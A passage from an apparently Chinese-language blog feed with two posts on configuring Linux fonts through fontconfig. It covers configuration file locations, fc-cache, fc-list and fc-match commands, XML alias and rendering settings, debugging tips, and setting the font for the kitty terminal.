&lt;p&gt;路径	作用	修改权限&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x2F;etc&#x2F;fonts&#x2F;fonts.conf	主配置文件	root&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;etc&#x2F;fonts&#x2F;conf.d&#x2F;	配置片段目录（按数字顺序加载）	root&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;usr&#x2F;share&#x2F;fonts&#x2F;	系统字体安装目录	root&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;usr&#x2F;local&#x2F;share&#x2F;fonts&#x2F;	本地安装字体目录	root&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-yong-hu-ji-pei-zhi&quot;&gt;2. 用户级配置&lt;&#x2F;h2&gt;
&lt;p&gt;路径	作用&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;~&#x2F;.config&#x2F;fontconfig&#x2F;fonts.conf	用户主配置文件&lt;&#x2F;li&gt;
&lt;li&gt;~&#x2F;.config&#x2F;fontconfig&#x2F;conf.d&#x2F;	用户配置片段目录&lt;&#x2F;li&gt;
&lt;li&gt;~&#x2F;.local&#x2F;share&#x2F;fonts&#x2F;	用户字体目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;wrench-he-xin-cao-zuo-ming-ling&quot;&gt;🔧 核心操作命令&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-zi-ti-guan-li-ming-ling&quot;&gt;1. 字体管理命令&lt;&#x2F;h2&gt;
&lt;p&gt;命令	作用	示例&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;fc-cache	刷新字体缓存	fc-cache -fv (强制详细刷新)&lt;&#x2F;li&gt;
&lt;li&gt;fc-list	列出可用字体	fc-list : family style&lt;&#x2F;li&gt;
&lt;li&gt;fc-match	测试字体匹配	fc-match &quot;Arial&quot;&lt;&#x2F;li&gt;
&lt;li&gt;fc-query	检查字体文件属性	fc-query &#x2F;path&#x2F;to&#x2F;font.ttf&lt;&#x2F;li&gt;
&lt;li&gt;fc-scan	扫描字体文件元数据	fc-scan -v &#x2F;path&#x2F;to&#x2F;font.otf&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-zi-ti-an-zhuang&quot;&gt;2. 字体安装&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 系统级安装
sudo cp new_font.ttf &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;truetype&amp;#x2F;
sudo fc-cache -fv
# 用户级安装
mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;
cp new_font.otf ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;
fc-cache -fv ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;gear-pei-zhi-wen-jian-xiang-jie&quot;&gt;⚙️ 配置文件详解&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-dian-xing-pei-zhi-wen-jian-jie-gou-xmlge-shi&quot;&gt;1. 典型配置文件结构 (XML格式)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE fontconfig SYSTEM &amp;quot;fonts.dtd&amp;quot;&amp;gt;
&amp;lt;fontconfig&amp;gt;
  &amp;lt;!-- 1. 添加字体目录 --&amp;gt;
  &amp;lt;dir&amp;gt;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;share&amp;#x2F;fonts&amp;lt;&amp;#x2F;dir&amp;gt;
  
  &amp;lt;!-- 2. 逻辑字体映射 --&amp;gt;
  &amp;lt;alias&amp;gt;
    &amp;lt;family&amp;gt;sans-serif&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;prefer&amp;gt;
      &amp;lt;family&amp;gt;Noto Sans&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;Source Han Sans SC&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;&amp;#x2F;prefer&amp;gt;
  &amp;lt;&amp;#x2F;alias&amp;gt;
  
  &amp;lt;!-- 3. 渲染优化 --&amp;gt;
  &amp;lt;match target=&amp;quot;font&amp;quot;&amp;gt;
    &amp;lt;edit name=&amp;quot;antialias&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;hinting&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;hintstyle&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;hintslight&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;rgba&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;rgb&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;&amp;#x2F;match&amp;gt;
  
  &amp;lt;!-- 4. 禁用特定字体 --&amp;gt;
  &amp;lt;selectfont&amp;gt;
    &amp;lt;rejectfont&amp;gt;
      &amp;lt;pattern&amp;gt;
        &amp;lt;patelt name=&amp;quot;family&amp;quot;&amp;gt;&amp;lt;string&amp;gt;Comic Sans MS&amp;lt;&amp;#x2F;string&amp;gt;&amp;lt;&amp;#x2F;patelt&amp;gt;
      &amp;lt;&amp;#x2F;pattern&amp;gt;
    &amp;lt;&amp;#x2F;rejectfont&amp;gt;
  &amp;lt;&amp;#x2F;selectfont&amp;gt;
&amp;lt;&amp;#x2F;fontconfig&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-guan-jian-pei-zhi-can-shu&quot;&gt;2. 关键配置参数&lt;&#x2F;h2&gt;
&lt;p&gt;参数	值	作用&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;antialias	true&#x2F;false	启用抗锯齿&lt;&#x2F;li&gt;
&lt;li&gt;hinting	true&#x2F;false	启用字体微调&lt;&#x2F;li&gt;
&lt;li&gt;hintstyle	hintnone&#x2F;hintslight&#x2F;hintmedium&#x2F;hintfull	微调强度&lt;&#x2F;li&gt;
&lt;li&gt;rgba	none&#x2F;rgb&#x2F;bgr&#x2F;vrgb&#x2F;vbgr	子像素渲染模式&lt;&#x2F;li&gt;
&lt;li&gt;lcdfilter	lcddefault&#x2F;lcdlight&#x2F;lcdlegacy	LCD滤镜优化&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;tools-gao-ji-pei-zhi-ji-qiao&quot;&gt;🛠️ 高级配置技巧&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-duo-yu-yan-zi-ti-hui-tui&quot;&gt;1. 多语言字体回退&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- 中文优先使用思源黑体，英文用Roboto --&amp;gt;
&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;sans-serif&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Source Han Sans SC&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;family&amp;gt;Roboto&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;family&amp;gt;Noto Sans CJK SC&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-dpisuo-fang-she-zhi&quot;&gt;2. DPI缩放设置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查当前DPI
xdpyinfo | grep dots
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;# 配置DPI (创建 ~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;conf.d&amp;#x2F;99-dpi.conf)
&amp;lt;match target=&amp;quot;pattern&amp;quot;&amp;gt;
  &amp;lt;edit name=&amp;quot;dpi&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;double&amp;gt;144&amp;lt;&amp;#x2F;double&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
&amp;lt;&amp;#x2F;match&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-fu-hao-zi-ti-xiu-fu&quot;&gt;3. 符号字体修复&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- 修复终端符号显示 --&amp;gt;
&amp;lt;match target=&amp;quot;pattern&amp;quot;&amp;gt;
  &amp;lt;test name=&amp;quot;family&amp;quot;&amp;gt;&amp;lt;string&amp;gt;monospace&amp;lt;&amp;#x2F;string&amp;gt;&amp;lt;&amp;#x2F;test&amp;gt;
  &amp;lt;edit name=&amp;quot;family&amp;quot; mode=&amp;quot;append&amp;quot;&amp;gt;
    &amp;lt;string&amp;gt;Symbols Nerd Font&amp;lt;&amp;#x2F;string&amp;gt;
  &amp;lt;&amp;#x2F;edit&amp;gt;
&amp;lt;&amp;#x2F;match&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;mag-diao-shi-yu-wen-ti-pai-cha&quot;&gt;🔍 调试与问题排查&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cha-kan-sheng-xiao-pei-zhi&quot;&gt;查看生效配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-conflist  # 列出所有加载的配置文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ce-shi-pei-zhi-xiao-guo&quot;&gt;测试配置效果&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;FC_DEBUG=4 fc-match sans-serif  # 输出详细匹配过程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-jian-wen-ti-jie-jue&quot;&gt;常见问题解决&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 字体不显示？
strace -e open fc-match &amp;quot;Arial&amp;quot; 2&amp;gt;&amp;amp;1 | grep fonts  # 检查文件访问路径
# 渲染异常？
FC_DEBUG=1024 fc-match sans-serif &amp;gt; debug.log  # 生成详细调试日志
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bulb-zui-jia-shi-jian-jian-yi&quot;&gt;💡 最佳实践建议&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;mu-lu-jie-gou&quot;&gt;目录结构&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;conf.d&amp;#x2F;
├── 10-font-paths.conf    # 添加字体目录
├── 20-universal-aliases.conf # 逻辑字体映射
├── 30-rendering-options.conf # 渲染参数
└── 99-local-overrides.conf   # 本地覆盖
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-you-xian-ji&quot;&gt;配置优先级&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;mermaid flowchart&quot; class=&quot;language-mermaid flowchart &quot;&gt;&lt;code class=&quot;language-mermaid flowchart&quot; data-lang=&quot;mermaid flowchart&quot;&gt;graph LR
A[系统默认] --&amp;gt; B[&amp;#x2F;etc&amp;#x2F;fonts&amp;#x2F;conf.d&amp;#x2F;]
B --&amp;gt; C[~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;conf.d&amp;#x2F;]
C --&amp;gt; D[应用特定设置]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hui-fu-mo-ren-pei-zhi&quot;&gt;恢复默认配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rm -rf ~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;  # 删除用户配置
sudo fc-cache -fv            # 重建缓存
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过合理配置这些文件和命令，您可以完全掌控 Linux 系统的字体渲染行为，解决多语言支持、高分屏适配等复杂场景问题。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lbqaq.top&#x2F;p&#x2F;linux-font&#x2F;&quot;&gt;字体配置&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 字体如何配置</title>
        <published>2025-08-14T14:12:52+08:00</published>
        <updated>2025-08-14T14:12:52+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 字体如何配置/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 字体如何配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 字体如何配置/">&lt;h1 id=&quot;zhu-yao-de-pei-zhi-wen-jian&quot;&gt;主要的配置文件&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;系统级
&lt;ul&gt;
&lt;li&gt;&#x2F;etc&#x2F;fonts&#x2F;fonts.conf&lt;&#x2F;li&gt;
&lt;li&gt;主配置文件（通常不建议直接修改）&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;etc&#x2F;fonts&#x2F;conf.d&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;符号链接到 &#x2F;usr&#x2F;share&#x2F;fontconfig&#x2F;conf.avail&#x2F; 中的配置片段&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;usr&#x2F;share&#x2F;fontconfig&#x2F;conf.avail&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;可用的配置片段（如 10-hinting.conf）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;用户级配置（推荐）
&lt;ul&gt;
&lt;li&gt;~&#x2F;.config&#x2F;fontconfig&#x2F;fonts.conf
&lt;ul&gt;
&lt;li&gt;用户自定义字体配置（最常用）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;~&#x2F;.fonts.conf
&lt;ul&gt;
&lt;li&gt;旧式用户配置（已废弃，但仍支持）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zi-ti-wen-jian&quot;&gt;字体文件&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;系统级字体
&lt;ul&gt;
&lt;li&gt;&#x2F;usr&#x2F;share&#x2F;fonts&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;需 root 权限操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;用户级字体
&lt;ul&gt;
&lt;li&gt;~&#x2F;.fonts&#x2F; 或 ~&#x2F;.local&#x2F;share&#x2F;fonts&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;无需特权，仅影响当前用户&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;自定义目录
&lt;ul&gt;
&lt;li&gt;如 &#x2F;opt&#x2F;fonts&#x2F;&lt;&#x2F;li&gt;
&lt;li&gt;需在 fonts.conf 中添加 dir 标签&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;an-zhuang-zi-ti&quot;&gt;安装字体&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 系统级安装（需 root）
sudo cp newfont.ttf &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;truetype&amp;#x2F;
sudo fc-cache -fv  # 刷新缓存
# 用户级安装
cp newfont.ttf ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;
fc-cache -fv  # 刷新用户缓存
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi-gong-ju&quot;&gt;调试工具&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-list :lang=zh  
# 测试字体匹配逻辑11
fc-match &amp;quot;Microsoft YaHei&amp;quot; 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xuan-ran-kong-zhi&quot;&gt;‌渲染控制‌&lt;&#x2F;h2&gt;
&lt;p&gt;修改 &#x2F;etc&#x2F;fonts&#x2F;conf.d&#x2F;10-antialias.conf 启用抗锯齿：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;match target=&amp;quot;font&amp;quot;&amp;gt;
  &amp;lt;edit name=&amp;quot;antialias&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
&amp;lt;&amp;#x2F;match&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;you-xian-xian-shi-ce-lue&quot;&gt;优先显示策略‌&lt;&#x2F;h2&gt;
&lt;p&gt;在 fonts.conf 中强制指定中文字体族：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;serif&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Source Han Serif SC&amp;lt;&amp;#x2F;family&amp;gt; &amp;lt;!-- 思源宋体 --&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;que-shi-jie-jue-fang-an&quot;&gt;‌缺失解决方案‌&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Windows 字体迁移：复制 C:\Windows\Fonts 下的 *.ttf 到 Linux 字体目录&lt;&#x2F;li&gt;
&lt;li&gt;安装开源字体包：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-noto-cjk  # Ubuntu&amp;#x2F;Debian
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;huan-cun-yu-sheng-xiao&quot;&gt;缓存与生效&lt;&#x2F;h1&gt;
&lt;p&gt;‌刷新缓存‌：任何字体增删后必须执行 fc-cache -fv
‌应用生效‌：部分应用需重启才能加载新配置（如终端、浏览器）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;an-zhuang-zi-ti-1&quot;&gt;安装字体&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建用户字体目录
mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts
# 复制字体文件（.ttf, .otf, .woff 等）
cp ~&amp;#x2F;Downloads&amp;#x2F;JetBrainsMono-Regular.ttf ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;
# 刷新字体缓存
fc-cache -fv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cha-kan-yi-an-zhuang-zi-ti&quot;&gt;查看已安装字体&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出所有字体族名
fc-list : family
# 搜索特定字体
fc-list : family | grep -i &amp;quot;jetbrains\|fira\|mono&amp;quot;
# 查看某个字体的详细信息
fc-query ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;JetBrainsMono-Regular.ttf | grep -A 2 -B 2 family
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ce-shi-zi-ti-pi-pei&quot;&gt;测试字体匹配&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看 monospace 别名指向哪个字体
fc-match monospace
# 查看 sans-serif 指向哪个字体
fc-match &amp;quot;sans-serif&amp;quot;
# 查看你设置的字体是否能匹配
fc-match &amp;quot;JetBrains Mono&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-zi-ti-bie-ming-li-ru-rang-monospace-shi-yong-jetbrains-mono&quot;&gt;配置字体别名（例如：让 monospace 使用 JetBrains Mono）&lt;&#x2F;h2&gt;
&lt;p&gt;编辑用户配置文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p ~&amp;#x2F;.config&amp;#x2F;fontconfig
nano ~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;fonts.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE fontconfig SYSTEM &amp;quot;fonts.dtd&amp;quot;&amp;gt;
&amp;lt;fontconfig&amp;gt;
  &amp;lt;!-- 设置 monospace 默认为 JetBrains Mono --&amp;gt;
  &amp;lt;alias&amp;gt;
    &amp;lt;family&amp;gt;monospace&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;prefer&amp;gt;
      &amp;lt;family&amp;gt;JetBrains Mono&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;DejaVu Sans Mono&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;Liberation Mono&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;&amp;#x2F;prefer&amp;gt;
  &amp;lt;&amp;#x2F;alias&amp;gt;

  &amp;lt;!-- 可选：设置 sans-serif --&amp;gt;
  &amp;lt;alias&amp;gt;
    &amp;lt;family&amp;gt;sans-serif&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;prefer&amp;gt;
      &amp;lt;family&amp;gt;Inter&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;Roboto&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;&amp;#x2F;prefer&amp;gt;
  &amp;lt;&amp;#x2F;alias&amp;gt;
&amp;lt;&amp;#x2F;fontconfig&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 保存后刷新缓存：
fc-cache -fv
# 验证
fc-match monospace
# 你应该看到输出指向 JetBrains Mono
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-zi-ti-xuan-ran-xiao-guo-ke-xuan&quot;&gt;配置字体渲染效果（可选）&lt;&#x2F;h2&gt;
&lt;p&gt;你可以在 fonts.conf 中添加渲染优化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;match target=&amp;quot;font&amp;quot;&amp;gt;
  &amp;lt;edit name=&amp;quot;antialias&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;edit name=&amp;quot;hinting&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;edit name=&amp;quot;hintstyle&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;hintslight&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;edit name=&amp;quot;rgba&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;rgb&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;edit name=&amp;quot;lcdfilter&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;lcddefault&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;edit name=&amp;quot;autohint&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;false&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
&amp;lt;&amp;#x2F;match&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解释：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;antialias: 启用抗锯齿&lt;&#x2F;li&gt;
&lt;li&gt;hinting: 字体微调（可选 hintnone, hintslight, hintmedium, hintfull）&lt;&#x2F;li&gt;
&lt;li&gt;rgba: 子像素渲染方向（LCD 屏幕适用）&lt;&#x2F;li&gt;
&lt;li&gt;lcdfilter: 平滑子像素边缘&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;💡 建议：笔记本&#x2F;高分屏用 hintslight + lcddefault，台式机 RGB 屏可用 rgb&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-kittyzi-ti-ju-ti-ying-yong-chang-jing&quot;&gt;配置kitty字体： 具体应用场景&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-jetbrains-mono
cat &amp;lt;&amp;lt;EOF &amp;gt;&amp;gt; ~&amp;#x2F;.config&amp;#x2F;kitty&amp;#x2F;kitty.conf
font_family JetBrains Mono
font_size 14.0
EOF
# 验证
fc-match &amp;quot;JetBrains Mono&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;rang-suo-you-ying-yong-you-xian-shi-yong-fira-code&quot;&gt;让所有应用优先使用 Fira Code&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-firacode
